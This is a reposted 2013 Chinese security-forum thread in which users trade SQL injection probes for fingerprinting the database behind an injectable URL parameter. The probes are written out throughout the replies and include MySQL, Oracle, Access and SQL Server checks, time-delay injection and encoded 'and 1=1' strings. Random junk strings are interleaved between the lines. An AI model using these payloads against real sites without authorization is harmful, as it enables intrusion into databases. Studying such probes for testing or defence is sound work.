中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
( V- A! z7 I& ~' H5 T% e* D8 s6 @
xsser (十根阳具有长短!!) | 2013-02-05 12:36
4 g, }- Q3 p4 t# Y8 J0 y
假设这么一个注射点:
) `" z- x [) e( i+ T& C
show.html?id=2
H6 e0 |# O* B0 Q4 I+ p
mysql:id=2 and version()>0
2 @: @, C" W% m' V- k5 t4 c
oracle:id=2 and '1'||'1'='11
. b E6 \; L* \" A, R
其他的欢迎补充
& r2 q9 C! S- ^$ j+ ^) ^( {
1#
& j m7 w1 H' q+ E. I+ D5 |$ s G* o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
$ a- G V/ I& f, T: A- q3 ?) X
Access:
. `" S5 Z% [% C7 \, S6 y
aNd aSc(cHr(97))=97
" C3 A6 q( V8 ^
and exists(select id from MSysAccessObjects)
. R' U/ |8 c5 ~# m
SQL Server:
+ [5 B; B. @( [% s- X1 R
and exists(select id from sysobjects)
, A7 p% k, ~6 N
and length(user)>0
+ t+ q0 g- T& u A: b. t& S
MySQL:
4 W/ D! J2 f* w
and length(user())>0
, W& \$ I! u4 }
2#
! ], H. O6 j% ]6 f' e! d- ]
xsser (十根阳具有长短!!) | 2013-02-05 12:48
; ~/ l6 F0 m1 b& e% O! l4 c
@upload 如果这些都不是呢…
( E: d% }- w( x3 U; r5 G
3#
% B$ p5 Y* d# [5 C) K0 q7 q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
9 z, L' Y; P: b/ Q$ N
@xsser 不快速的,延时注入
3 R3 R/ U1 Z+ Y+ t4 L% G
不知道这样写对不对
# J' x3 x! E( {+ e! @8 f- |, E
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
: p2 D2 @7 S5 ^ j/ c$ L" e; L: P
mysql:id=2 and select benchmark(1e8,current_date());
# q, _2 C' e" K6 D
4#
: b1 ]) b& f0 b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
w6 c: M' @) g. r3 W
最快的貌似是看报错信息
+ _/ w6 Y( w5 x) V5 `
oracle error
# ]- H) J8 K5 m
mssql error
, I2 Z3 u) s, U
mysql error
9 X' }9 f/ Q t( j/ I( } R9 c
5#
2 @! r9 g: _2 g( c; b2 Z5 A4 v4 t
Nimda (你们都是坏银~) | 2013-02-05 13:14
. w! R0 J5 i$ `
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
@8 y X6 T1 x, K5 ?/ V' e5 U! a4 @
6#
2 p: W' P0 m) p6 h' J0 T }6 ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- `; r9 g! \9 x8 v. l# E! Q
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
* c8 `2 [$ D6 P5 o4 c: l \
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
! ^: b1 Q, Q+ H: U% p+ p1 e
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
i0 A% C* r" Q7 b' P, W
7#
2 L; x1 j& B( Y
_Evil (HackEnd) | 2013-02-05 13:33
$ D2 _8 _" D! E8 ^. x, v
PostgreSQL
3 I& b. r0 g1 f" ]& ^" ]$ q
8#
. x3 @0 F' Q7 G' Y! j4 t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
7 Y+ [( a& l* G! @0 ^( s0 V
切换编码 and 1=1
. W5 {1 u% H+ U) W9 w
oracle:
* @. T- t0 C) W }
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
- L) \4 h' v% Y2 \+ ], @
mssql:
) H4 F- J0 B% d. A( ]' O- K, F* z Q
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
) D* p) f: c$ d$ Q$ n+ K3 J- x, F
mysql:
' }% B9 M2 O9 O8 N5 ]* O
CHAR(97, 110, 100, 32, 49, 61, 49)
; a2 N! w. Y u" B% C4 R3 ]# B
9#
7 A: a9 ?) e, W2 {
xsser (十根阳具有长短!!) | 2013-02-05 14:31
- b/ S/ I+ N0 A
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
) i' s) x$ H v6 i& E
10#
8 _; N% h- C# E' e% d* b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
5 U- B. U# x. ^/ `
@xsser 是奇葩数据库类型的么?
' Y3 x5 }8 f3 z# ` \. e( @, E
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
4 p0 e4 ~* Y5 @( {0 U
1.是否可以使用特定的函数来判断,该数据库特有的
M; _. K+ R3 }$ L O0 e
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
) a4 O- A% z5 b* \- t& P
3.是否可以编码查询
) {5 m) ^7 t" K/ o
4.是否显可以利用错信息
4 Q/ n" D, `* ^" Z' a
5.是否存在数据库某些特性辅助判断
) O3 ^; w. a1 T. K# z. N+ r) e, m
个人见解
$ q D4 ~: K: z5 p
11#
6 i1 ~( e- ~' a1 ]* i1 e( X
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
; W- d n9 Z) P% Y$ Q/ _
已收藏,mssql可以直接看到错误提示的吧~
, E) d( N. a2 Y3 K; S7 g
12#
' n# y" X9 W: _" n' {- q
Passer_by | 2013-02-05 15:09
& s, @, R5 n! I# G4 d. O. [
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
1 C* Z. y5 I' J$ O* _8 F' t/ K
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2